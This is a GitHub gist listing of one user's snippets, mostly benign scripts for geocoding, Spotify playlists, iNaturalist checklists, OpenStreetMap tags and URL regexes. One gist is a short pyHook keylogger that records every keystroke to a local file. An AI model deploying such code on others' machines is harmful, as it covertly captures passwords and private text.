Skip to content

Instantly share code, notes, and snippets.

View rivermont's full-sized avatar
🪚

Will Bennett rivermont

🪚
View GitHub Profile
@rivermont
rivermont / ClimateCityLocater.py
Last active January 4, 2025 20:35
Use Nominatim to fill in missing city coordinates (requires specific data format used in the research). Dependencies: pandas, geopy
#!/usr/bin/python3
"""Will Bennett - rivermont.xyz - Jan 2025"""
import pandas as pd
from time import sleep
from geopy.geocoders import Nominatim
locater = Nominatim(user_agent='Python 3 - <rivermont.xyz>')
df = pd.read_csv('./location_v4.csv', encoding='utf-8', na_filter=False)
#!/usr/bin/env python3
"""
Print the tracks missing from one Spotify playlist to another.
Requires Playlist1.json from Spoify user data download.
Will Bennett (rivermont) 2023
"""
import json
@rivermont
rivermont / inat-checklist.py
Created October 12, 2022 19:15
iNaturalist checklist creator. Point at an iNat export file, and it prints all the species sorted by taxonomic Class.
#!/usr/bin/env python3
# iNaturalist checklist creator
# Point at an iNat export file, and it prints all the species sorted by taxonomic Class.
from operator import itemgetter
target = "observations-xxxxxx.csv"
i = 0
if __name__ == "__main__":
@rivermont
rivermont / osm_payment_interpret.py
Last active July 17, 2019 22:19
OSM payment tags converter
# fixing incorrect tag 'payments' and fixing other tags syntax
db = {
"mastercard": "payment:mastercard = yes",
"mc": "payment:mastercard = yes",
"cash": "payment:cash = yes",
"visa": "payment:visa = yes",
"checks": "payment:cheque = yes",
"check": "payment:cheque = yes",
"discover": "payment:discover_card = yes",

United States Infrastructure Mapping

A good guide and standards do not currently exist for mapping the general utility infrastructure of the U.S.
This document will serve as a dumping ground for ideas and content, until sections are sorted well and some are given their own pages.


While infrastructure norms differ between countries, the U.S. is generally consistent across the states, thanks to standardization of products, cooperation between companies and contractors, and municipal laws. The U.S. is largely unmapped on a small scale, however.

See [[WikiProject Power networks/United States]].

@rivermont
rivermont / id-todo.md
Created October 26, 2018 19:27
List of features to create and PR into openstreetmap/iD

iD Todo

  • amenity=letter_box (mailbox icon)
  • Add design=* option to power=pole
  • Add lamp_mount=* option to highway=street_lamp
  • Create man_made=street_cabinet with ref=* and street_cabinet=*

The Size of TIGER

There is a LOT of TIGER data, most of it still not even glanced at. And each TIGER road comes with a bunch of metadata tags.

way 16543325

Taginfo has the following statistics on common TIGER tags (as of Oct 6 2018):

  • 13,078,000 tiger:cfcc
  • 12,871,000 tiger:county
@rivermont
rivermont / url_regex.py
Created May 3, 2018 17:09
Hopefully the best regex for matching URLs from text.
import re
# Matches almost all URLs
# Does not match for foreign characters; beyond the English alphabet and punctuation
expression = '''((https?|ftp):\/\/)?(www\.)?((-|[0-9]|[A-Z]|[a-z])+\.)+(com|org|edu|gov|uk|net|ca|de|jp|fr|au|us|ru|ch|it|nl|se|no|es|mil|fi|cn|br|be|at|info|pl|dk|cz|cl|hu|nz|il|ie|za|tw|kr|mx|gr|ar|co|ly|gl)(([\/]|[\-\?\+\(\)\=\_\&\%\#\.]|[0-9]|[A-Z]|[a-z])+)*'''
# Finds all the URLs as the original but also IP addresses.
# Generates a lot of false positives though, such as '2.0'
expression1 = '''((https?|ftp):\/\/)?(www\.)?((-|[0-9]|[A-Z]|[a-z])+\.)+((?:[0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])|com|org|edu|gov|uk|net|ca|de|jp|fr|au|us|ru|ch|it|nl|se|no|es|mil|fi|cn|br|be|at|info|pl|dk|cz|cl|hu|nz|il|ie|za|tw|kr|mx|gr|ar|co|ly|gl)(([\/]|[\-\?\+\(\)\=\_\&\%\#\.]|[0-9]|[A-Z]|[a-z])+)*'''
@rivermont
rivermont / logger.pyw
Created August 21, 2017 12:02
A simple Python (2?) keylogger originally built by Tinkernut.
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Users\\User'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
@rivermont
rivermont / lettering.py
Last active June 6, 2017 18:50
A collection of completely random things I wrote years ago.
def count_vowels(word):
''' (str) -> int
Return the number of vowels in word, always
including the letter y.
>>> count_vowels('Hello, how are you?')
7
>>> count_vowels('Hmm?')
0